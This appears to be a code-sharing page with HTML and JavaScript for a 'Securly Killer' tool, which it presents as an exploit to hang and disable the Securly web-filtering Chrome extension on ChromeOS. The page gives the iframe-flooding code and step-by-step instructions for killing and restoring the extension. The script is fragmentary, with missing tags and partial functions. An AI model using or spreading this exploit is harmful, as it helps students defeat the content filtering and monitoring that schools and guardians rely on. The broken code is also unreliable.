Desativar com segurança: Exploração de vulnerabilidade da extensão do Chrome

15 iroger7

Abrir no Editor Video Publique Seu Código

Desativar com segurança: Exploração de vulnerabilidade da extensão do Chrome

Recomendado

14 January 2026

Henry Stickman Quebrando o Banco

2 February 2026

Emulador de Super Smash Bros. para N64

16 October 2025

Exemplo de animação CSS: carregamento e efeitos de texto

HTML

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Securly Killer</title>
  <link rel="shortcut icon" type="image/png" href='/favicon.png'>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
  <style>
    body {
      font-family: 'Varela Round', sans-serif;
      margin: 0;
      padding: 0;
    }
    header {
      background-color: #333;
      color: #fff;
      padding: 10px;
      text-align: center;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .logo {
      width: 50px;
      height: 50px;
      margin-right: 10px;
    }
    .container {
      max-width: 800px;
      margin: 130px auto 0 auto;
      padding: 20px;
      text-align: center;
      display: flex;
      flex-direction: column;
      align-items: center;
    }
    select {
      margin-bottom: 10px;
    }
    button {
      font-family: 'Varela Round', sans-serif;
      background-color: #007bff;
      color: #fff;
      border: none;
      padding: 10px 20px;
      font-size: 16px;
      cursor: pointer;
      border-radius: 5px;
      margin-top: 10px;
    }
    button:hover {
      background-color: #0056b3;
    }
    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.5);
      display: none;
      justify-content: center;
      align-items: center;
      z-index: 9999;
      color: #fff;
      font-size: 24px;
    }
    footer {
      background-color: #333;
      color: #fff;
      text-align: center;
      padding: 10px;
      position: fixed;
      bottom: 0;
      width: 100%;
    }
    .kill-extension-text {
      display: none;
      margin-top: 20px;
      margin-left: 40px;
      margin-right: 40px;
      text-align: center;
    }
  </style>
</head>
<body>

<header>
  <img src="https://www.pps.net/cms/lib/OR01913224/Centricity/Domain/57/securly-180x180.png" alt="Logo" class="logo">
  <h1>Securly Disable</h1>
</header>

<div class="container">
  <p>This is an exploit that allows you to kill securly. This exploit should work in every new version of ChromeOS.</p>
  <label for="iframeSelect">Select extension:</label>
  <select id="iframeSelect">
    <option value="chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css">Securly</option>
  </select>
  <button onclick="warning();">Hang Extension!</button>
</div>

<div class="overlay" id="overlay">Hanging...</div>

centeredText.textContent = 'Hanging ' + selectedOption + '...';

var popupName = "Open to Restore " + selectedOption;
	popup.document.title = popupName;
	      
	var blankTab = popup.open("about:blank", "_blank");
        var blankTabName = "Hanging " + selectedOption;
	blankTab.document.title = blankTabName;
	var blankTabDocument = blankTab.document;
	var blankTabBody = blankTabDocument.body;
	var centeredText2 = blankTabDocument.createElement('div');
   	centeredText2.textContent = 'Hanging ' + selectedOption + '...';
   	centeredText2.style.position = 'absolute';
   	centeredText2.style.top = '50%';
  	centeredText2.style.left = '50%';
  	centeredText2.style.transform = 'translate(-50%, -50%)';
  	centeredText2.style.color = 'white';
  	blankTabBody.appendChild(centeredText2);
        blankTabDocument.body.style.backgroundColor = 'black';
        blankTabDocument.body.appendChild(centeredText2);

createIframes(iframeContainer, selectedSrc);
        
        setTimeout(function() {
          if (blankTab && !blankTab.closed) {
            blankTab.close();
            alert("securly was hanged successfully! Now that it has been hanged, instructions for how to kill it and restore it are below.");
            window.document.getElementById("overlay").style.display = "none";
            var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
            window.document.getElementById("killExtensionText").innerHTML = "To kill the extension " + selectedOption + ", open a new tab and go to <strong>chrome://extensions/?id=" + extensionId + "</strong>. Then flip the allow access to file URLs switch. Now you can close that tab as well as this one. If you want to restore (unhang) the extension, open the window called Open to Restore and then that window should close itself restoring the extension in the process.";
            window.document.getElementById("killExtensionText").style.display = "block";
            popupDocument.addEventListener('mouseover', function() {
   		popup.close();
  		});
          }
        }, 5000);

popupDocument.removeEventListener('click', clickHandler);
      }
    };

popupDocument.addEventListener('click', clickHandler);
  }
  
  function warning() {
    var overlay = window.document.getElementById("overlay");
    overlay.style.display = "flex";
    var iframeSelect = window.document.getElementById("iframeSelect");
    var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
    var selectedSrc = iframeSelect.value;
    
    hangerPopup(selectedOption, selectedSrc);
  }
</script>
</body>
</html>

Recomendado

Henry Stickman Quebrando o Banco

Emulador de Super Smash Bros. para N64

Exemplo de animação CSS: carregamento e efeitos de texto

HTMLCopy

CSSCopy

JSCopy

HTML

CSS

JS